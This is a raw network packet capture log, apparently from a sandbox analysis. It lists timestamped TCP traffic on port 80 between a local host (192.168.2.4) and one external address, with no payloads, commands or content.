Nov 11, 2024 14:32:22.359323978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359345913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359352112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359412909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359457016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359457970 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359503031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359529018 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359535933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359607935 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359613895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359618902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359618902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359618902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359618902 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359620094 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359627962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359642982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359647989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359658003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359682083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359700918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359810114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359817028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359829903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359846115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359853983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359867096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359870911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359879017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359903097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359930038 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.359941006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359947920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359962940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.359998941 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360037088 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360043049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360050917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360057116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360063076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360093117 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360141993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360186100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360193014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360198021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360203028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360214949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360220909 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360225916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360230923 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360236883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360238075 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360244989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360263109 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360265017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360289097 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360311031 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360337019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360342979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360349894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360353947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360387087 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360410929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360419989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360425949 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360438108 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360444069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360450983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360455990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360469103 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360472918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360492945 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360527039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360558987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360564947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360577106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360583067 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360589027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360596895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360621929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360641003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360721111 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360728025 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360738993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360744953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360750914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360755920 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360768080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360771894 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360776901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360778093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360786915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360806942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360831022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360877037 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360882998 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360888958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360894918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360899925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360904932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360910892 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360915899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360923052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360929012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360932112 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.360949993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360970020 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.360991955 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361027956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361033916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361047029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361052990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361080885 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361109972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361217022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361222982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361234903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361239910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361246109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361252069 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361258030 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361263990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361268997 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361275911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361279964 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361283064 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361295938 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361301899 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361324072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361347914 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361362934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361368895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361375093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361381054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361386061 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361391068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361402035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361418009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361439943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361443043 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361447096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361453056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361459017 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361464977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361489058 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361515999 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361691952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361697912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361705065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361710072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361720085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361726046 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361737013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361738920 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361742020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361752987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361759901 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361764908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361768007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361772060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361780882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361788034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361792088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361819983 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361843109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361855984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361861944 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361865044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361869097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361876011 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361881971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361907005 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361924887 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.361943007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361947060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361957073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361963034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361974955 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361977100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361979008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361988068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.361994982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362003088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362030029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362046957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362076044 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362104893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362111092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362123013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362129927 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362159014 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362185001 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362201929 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362209082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362221003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362226963 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362240076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362257957 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362282991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362289906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362306118 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362313032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362328053 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362360954 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362392902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362399101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362411976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362417936 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362446070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362449884 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362452984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362466097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362468958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362502098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362608910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362616062 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362627029 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362632990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362649918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362656116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362657070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362669945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362677097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362682104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362703085 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362723112 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362811089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362817049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362829924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362834930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362840891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362847090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362859964 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362864971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362873077 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362881899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362907887 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362910986 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362914085 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362927914 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362930059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362936020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.362971067 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.362994909 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.363006115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363012075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363023996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363029003 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363040924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363044977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363049984 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363065004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.363125086 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.363655090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363662004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363673925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363679886 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363712072 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.363724947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.363795996 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363851070 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.363873959 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363879919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363936901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.363976002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363981962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.363996983 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364001989 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364007950 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364028931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364049911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364056110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364068031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364072084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364073992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364082098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364111900 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364137888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364152908 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364217043 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364288092 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364294052 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364305973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364315033 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364320993 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364329100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364335060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364339113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364346981 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364352942 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364358902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364365101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364376068 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364386082 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364387035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364413977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364428997 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364607096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364681959 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364715099 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364722013 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364734888 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364741087 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364754915 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364761114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364773035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364805937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364850044 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364856958 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364870071 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364875078 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364883900 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364886999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364902020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364906073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364908934 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364922047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364926100 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364936113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364938021 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.364945889 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.364989996 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.365024090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365031004 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365037918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365044117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365051031 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365056992 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365062952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365065098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.365086079 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.365089893 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365098000 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365103960 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365106106 CET	49761	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:32:22.365108967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365115881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365122080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 11, 2024 14:32:22.365128040 CET	80	49761	185.215.113.16	192.168.2.4
